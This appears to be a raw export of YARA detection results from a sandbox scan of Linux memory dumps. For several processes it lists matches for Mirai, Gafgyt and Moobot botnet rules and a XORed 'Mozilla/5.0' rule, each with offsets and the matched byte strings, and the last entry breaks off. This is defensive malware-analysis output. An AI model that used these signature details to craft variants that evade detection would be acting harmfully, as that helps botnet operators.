6834.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6834.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7204.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7204.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7204.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7204.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7204.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7204.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7121.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6789.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6789.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6789.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6789.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6789.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6789.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6786.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6786.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6786.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6786.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6786.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6786.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6710.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6710.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6710.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6710.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6710.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6710.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7326.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7326.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7326.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7326.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7326.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7326.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7072.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7072.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7072.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7072.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7072.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 